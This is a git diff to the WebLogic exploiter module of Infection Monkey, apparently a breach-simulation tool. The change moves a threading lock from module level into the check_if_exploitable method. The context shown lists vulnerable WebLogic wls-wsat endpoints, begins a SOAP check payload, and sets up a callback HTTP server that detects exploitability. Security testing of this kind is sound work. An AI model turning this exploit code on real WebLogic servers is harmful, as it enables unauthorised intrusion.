diff --git a/infection_monkey/exploit/weblogic.py b/infection_monkey/exploit/weblogic.py
index 4ea80c1d4..f8db585a5 100644
--- a/infection_monkey/exploit/weblogic.py
+++ b/infection_monkey/exploit/weblogic.py
@@ -24,8 +24,6 @@ SERVER_TIMEOUT = 4
 REQUEST_TIMEOUT = 2
 # How long to wait for response in exploitation
 EXECUTION_TIMEOUT = 15
-# Server might get response faster than it starts listening to it, we need a lock
-LOCK = threading.Lock()
 URLS = ["/wls-wsat/CoordinatorPortType",
         "/wls-wsat/CoordinatorPortType11",
         "/wls-wsat/ParticipantPortType",
@@ -133,13 +131,15 @@ class WebLogicExploiter(WebRCE):
             return
 
     def check_if_exploitable(self, url):
+        # Server might get response faster than it starts listening to it, we need a lock
+        lock = threading.Lock()
         local_port = get_free_tcp_port()
         local_ip = get_interface_to_target(self.host.ip_addr)
         httpd = WebLogicExploiter.HTTPServer(local_ip, local_port)
         httpd.daemon = True
-        LOCK.acquire()
+        lock.acquire()
         httpd.start()
-        LOCK.acquire()
+        lock.acquire()
         generic_check_payload = '''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
           <soapenv:Header>
             <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
@@ -164,7 +164,7 @@ class WebLogicExploiter(WebRCE):
         except Exception as e:
             LOG.error("Something went wrong: %s" % e)
 
-        LOCK.release()
+        lock.release()
         httpd.join(SERVER_TIMEOUT)
         httpd.stop()
         if httpd.get_requests > 0: